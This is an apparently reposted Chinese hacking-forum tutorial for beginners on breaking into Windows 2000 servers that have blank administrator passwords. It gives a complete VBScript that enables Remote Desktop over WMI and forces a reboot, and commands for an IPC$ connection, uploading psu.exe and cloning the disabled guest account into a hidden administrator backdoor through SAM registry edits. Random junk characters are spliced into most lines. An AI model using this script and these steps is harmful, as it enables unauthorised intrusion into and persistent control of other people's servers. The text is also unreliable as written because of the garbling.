|
一次简单的3389入侵过程
s2 l3 Z+ W; ~& }原创:caozhe(草哲)
% [8 k2 R; Y2 P" m来源:中国欲网技术论坛--草哲
% S: ?+ ?* F2 T$ v ! |0 M& D8 E+ \. M: m
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!7 C2 u0 P6 W# O' O
5 N5 U3 c- F. j- J! i+ h于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!3 `, F+ ]( ^9 p% E8 w. R* y
要入侵,我建议你在win2000环境下来*作!" A& ]0 N) ^; o' Q
2 f J9 L0 ~8 K2 n1 m0 ` [4 c
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
' d5 ~7 [) q' O4 [& n% a& ^扫描的X-Scan V2.3、WINNTAutoAttack、流光!
6 D: b" k. `' ?+ GX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
2 c- z9 I# y6 s U- R% n; e远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)7 @( S4 Z7 d+ N5 G" l# t, P
克隆帐户用个psu就可以了~!- V& x$ e% X$ I+ d
8 h W% L, A5 Q) L, h4 {
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
* e% a/ t7 B$ Y0 K+ h* R( s4 Z2 |运行CMD(2000下的DOS),我们给它开终端!2 |* v. }( |4 M$ h. a
命令如下!
; _+ {4 W: D/ y% zcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
, |/ b2 g8 Y- B- q! j/ V上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
1 o% T: O, ^$ W M: A2 o$ T' m) i) L# }& L: z6 i* z7 u* }. `9 e4 k
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!
& ^ T) z( i5 K! e
7 {3 Z: O/ H+ ?. D8 D1 n0 }+ Y一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
1 A+ f) K+ i1 y' {8 R安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!* Q5 w6 m3 o1 ~0 j6 p
% n3 j8 {$ @9 l9 h回到DOS下!我们建立IPC$连接!
+ ]. n8 _* Y- Lnet use \\120.0.0.1\ipc$ "" /user:"administrator"1 Z) Z* e# X- h% Q- d' Y! b% u
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!7 G* u, h" Q3 l1 ?* G4 o' O7 p
copy psu.exe \\120.0.0.1\admin$\system32/ N) W( ?" S, A/ C+ d' u- |
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!( @. X+ W0 L9 B5 b% A
: T. D/ N$ L3 D6 { B3 h
假设guest用户被禁用,我们就是要利用guest做后门帐户!8 Q8 l( F, v, F- u
在该服务器运行CMD,在命令行下输入) P. l/ d9 e! ~1 B) o& k
psu -p regedit -i PID7 V# ^: U$ M/ \2 V/ ]: X9 _
/ Y+ G: e. r9 k% \/ n/ M. a( q这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!. q+ o, K( D2 u6 J1 Y
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
. K: V: G8 v5 K) D( {$ H7 M/ N5 I那么,命令就是这样) v' I# H- p2 n" M: e4 f
psu -p regedit -i 5458
' y j' F6 i5 `3 }* p这样直接打开注册表,可以读取本地sam的信息。" M7 @4 |2 s$ z% g
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users' d' K: y5 r+ h) H/ J j, ?, i8 Z
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
1 G0 Z, H* n6 _' d; NHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names$ c# c% K/ K1 s% W+ H
查看administrator的类型,是if4,再看guest的是if5 ?8 w c2 l; r$ D) }- C
好了,知道了类型后,打开1 q u* T4 _5 w$ b5 M
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
3 [) S, X( y& w( P, S# o6 O, W这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
$ B5 e0 d/ f, i" X/ mHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
1 D) H+ h( X @8 H; y1 G) _双击右侧的F,把刚复制的粘贴到里面!
: m5 k+ x N1 J' _( f5 o( `0 |' z6 a; H+ L; f) W0 S, u
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
3 f- [( C. h2 @$ l和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
* \% s8 t$ m2 A7 y5 D$ ?2 O5 h, y# r这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。$ R9 c$ l7 p; t" r8 B, ~
, Z; y" d8 q% o9 n. i打开CMD,在命令行下输入
6 F& d' F" t; D: O* C. R/ A; Jnet user guest password
( ?& I. z" F! f0 ?7 n9 I# L这条命令是给guest设置密码,后面的password就是密码: ? K' K- w. v& v+ Z
然后输入 V) H% w2 s6 G( I* Q5 [
net user guest /active:y
3 W: N: w" h$ g$ p3 {这命令是激活guest帐户,然后我们把他禁用& T2 B/ z* J Z2 Q( d' z1 B/ _
net user guest /active:n
2 d8 t2 x2 n; T1 N& {" R7 h上面的三行命令必须在DOS下执行!4 f D5 |& D! T; e
; a( I& Y# ~5 P; F+ I* hOK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
! d/ |" a" O+ v) G4 q6 o2 k7 D而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!& Y# I9 U: E) F9 \5 b. R7 W7 r
. x, m9 g# u$ U% o6 v9 L' e注销一下,用guest登陆吧!+ c& R3 P, U* f! ~) ^' A
- C0 n' Q: l9 f8 W9 o打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!" f8 [! |5 v; q$ r
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!. [& W9 ]6 N2 g0 m% W( r& u
4 \3 B+ z/ ^2 e" F1 @& a/ u0 B因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!' t* m: E( T; w# t3 \! r
' Y. e |9 W7 V; R
----------------------------------------------------------------------6 z3 d3 W6 |% h8 Z
以下是开终端的脚本,把它存为*.vbe0 ]4 Q+ H0 Y& s; y( y( u
on error resume next
6 ]+ I7 A. p0 D g' Y% Kset outstreem=wscript.stdout
, x4 U8 P: |; _set instreem=wscript.stdin; w! X6 u" a' \! b, F& ]2 @
if (lcase(right(wscript.fullname,11))="wscript.exe") then3 q' _2 m# Z9 h/ L
set objShell=wscript.createObject("wscript.shell")
9 N1 N m" \7 Z. i1 u! P. ^ objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))4 A! g4 X4 x+ O' p
wscript.quit
6 B& }# y3 d( Yend if
# v, ?, f6 P# x$ [if wscript.arguments.count<3 then' M& j# X* I3 Q& |0 ]7 q. S! ]4 B+ R+ ^
usage()
% n) f' U+ f3 v: u m wscript.echo "Not enough parameters."0 @2 o+ u2 m0 R3 O7 U
wscript.quit
$ O- t' E( q Q- I4 zend if
) U% O7 i3 c5 r8 D" Z. Z
1 I( E+ |' K, b4 M! lipaddress=wscript.arguments(0)# g3 m0 K, {) q M+ G, N) o
username=wscript.arguments(1)+ K5 ~& x/ j A- P
password=wscript.arguments(2)' w& o$ S% k9 n \
if wscript.arguments.count>3 then8 c9 _* m9 A, K& w6 _; p2 n' Q
port=wscript.arguments(3)
! d. {% U2 i# m5 H/ ~else+ k5 J1 B( f7 W4 e" T8 u
port=3389
3 M- J9 A6 \, j+ t# @! i* L) d/ hend if5 A+ m% D1 \7 ?3 v( v* o- A5 A2 Y
if not isnumeric(port) or port<1 or port>65000 then
& J4 k6 \- Y4 K! |" }) a wscript.echo "The number of port is error."
' r6 w8 t; D% r4 d wscript.quit
& G) N/ }6 `7 P2 w! q4 pend if
- u; E2 J; r4 U$ q2 w( Qif wscript.arguments.count>4 then
2 s! B% e) v5 q+ V" h5 P reboot=wscript.arguments(4)
; x6 I, h- E0 }; B- aelse
; m0 j$ T! [( t) `7 V. N reboot=""
% p$ F( V; Z, T( |end if
8 Y: }, w. f7 |* U0 c: b
, b+ ^" u; U' O( P/ Q$ Iusage()
% y. B' T( Z, x2 U2 n) C a: |; boutstreem.write "Conneting "&ipaddress&" ...."
4 y6 R) Q, t' Z! _: v% pset objlocator=createobject("wbemscripting.swbemlocator")! m- Q) m: e6 u4 r" V& t* I$ k
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
; V" m/ Y: }' m4 c6 Ishowerror(err.number)8 X$ p3 s) z3 t; E
objswbemservices.security_.privileges.add 23,true# P- b* F+ Y1 ^6 s
objswbemservices.security_.privileges.add 18,true3 O/ d7 \3 ?: M2 Q
9 x- m8 R1 T$ Goutstreem.write "Checking OS type...."3 @8 c1 `8 r6 g, W; ]1 g
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
5 n1 |6 v2 l3 T6 s' f2 O+ Nfor each objinstoscaption in colinstoscaption0 h$ ~8 B! @- T; V1 M
if instr(objinstoscaption.caption,"Server")>0 then
3 |: o+ }: H0 S# ?7 I' l wscript.echo "OK!"
2 Y) j1 A- |* [ ?. } else
O q: J3 L# T. X wscript.echo "OS type is "&objinstoscaption.caption
& }% N% @# |1 l2 X9 q outstreem.write "Do you want to cancel setup?[y/n]"
. {" @$ e' z' O- [/ j; Q! v strcancel=instreem.readline* z. b* E* R, r+ |5 Z8 | @
if lcase(strcancel)<>"n" then wscript.quit3 y: r6 t, |" h; c
end if
8 k% P+ x9 o: _* F3 Lnext6 q& g4 L8 g& F+ X& v, R! F
& A1 _8 z0 m7 O7 d# p3 Woutstreem.write "Writing into registry ...."
+ \ K, k" N- e; Jset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")# V( A$ B. _' J) c; K- D/ C% t
HKLM=&h80000002; y N5 L' B1 L% O
HKU=&h80000003
& S( o: v! J3 c) Swith objinstreg4 m* o* L! K7 s3 }: I |
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
) G. u) ]6 ]! a) Q.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",06 Q2 o8 ?! D. G& {
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
8 K. Y: c5 @( }4 N.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",17 i. ?, s2 q5 V" V0 s9 Y" Y
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
6 V0 Y$ G' K. D.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",25 h- H# R3 ]4 a* @
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
& z5 |: E/ d9 T- }! c( i* t.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"" Q# U' d! T8 A
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port) W# d0 O0 y. b
end with
# Z: s5 a. y' ]& Kshowerror(err.number)
5 l8 ]0 d. l3 o) x3 u1 i
: ~. |" h" l- i% X9 erebt=lcase(reboot)
4 G S; m7 \+ J, \' W% Hflag=0
* W" l5 p( B# F0 f4 t3 dif rebt="/r" or rebt="-r" or rebt="\r" then flag=2
' ]" M0 h7 w& W- M% Pif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
' B i1 B) }% \5 E4 k# dif flag<>0 then: f/ u+ m/ v8 O6 X) \/ @ D
outstreem.write "Now, reboot target...."% i3 O4 A; L1 h A! v1 F, k) r- Q! v
strwqlquery="select * from win32_operatingsystem where primary='true'"* r3 p6 o/ L A' L5 l6 N- ]1 m7 j; B- J
set colinstances=objswbemservices.execquery(strwqlquery)' v: e7 L) V" X
for each objinstance in colinstances
! f- {' c) P. z5 n objinstance.win32shutdown(flag)$ o' k$ m3 j) N
next
U+ [( [5 @( y! h% w. I8 D3 X) d showerror(err.number)4 y% c. `# [: R, H9 g# K3 T7 A
else: e. D" X0 ?6 G2 Z1 c, ~
wscript.echo "You need to reboot target."&vbcrlf&"Then,"+ i4 U" A8 n6 P
end if% I; n+ V' q: h- ]7 H/ F
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
/ k! v! o& ]' I8 p7 {
) H0 p2 w3 U( S% @" Sfunction showerror(errornumber)6 G. p3 T0 ]9 Q+ I% e1 r
if errornumber Then
1 A: `1 Y; `; w6 P/ B* t. X# M T% Y0 z wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
$ x. a0 g# w* W, w/ Z$ p5 ?; [ if err.description <> "" then
# F9 m! A( _& j5 a3 |5 s wscript.echo "Error description: "&err.description&"."
! Q5 r& \+ D8 V- O& f$ ~ end if; L: q7 e+ y9 D8 }
wscript.quit
7 r1 A5 J& o ?; s6 z+ i* ^0 @else- m7 [( f4 b; z1 y( z
wscript.echo "OK!", h( W" T% x5 r; M2 @
end if" v& }4 e& \* ~# |
end function$ W. ^6 p# H7 L( F2 B, o2 D& z1 t3 o
, ~, N, x1 Z/ w2 f( E
function usage()
0 i/ p" ^: \, ^" d9 }9 Kwscript.echo string(79,"*")% A9 r9 G7 P i$ M
wscript.echo "ROTS v1.05"
7 k3 V7 D1 {% ]* O+ h9 Lwscript.echo "Remote Open Terminal services Script, by 草哲"
( T* K1 z$ P4 h. ~/ I! ^7 Bwscript.echo "Welcome to visite www.5458.net" \9 e' A6 x. c
wscript.echo "Usage:"1 g8 s3 ?* z) h9 `+ ?8 g: [1 d
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"% N; G" E- [" I; b+ i6 C$ `2 Z) ?
wscript.echo "port: default number is 3389."
4 h% L" w, S# e+ m+ \, C% p/ |wscript.echo "/r: auto reboot target."
* c# E$ _& J6 hwscript.echo "/fr: auto force reboot target.": M; ~2 z. q$ z
wscript.echo string(79,"*")&vbcrlf, H. j( C3 b& ?' |, A
end function
: U, L ]# m! d6 w8 Q , L2 B: k" V& {4 T! U
转自安全焦点 |
|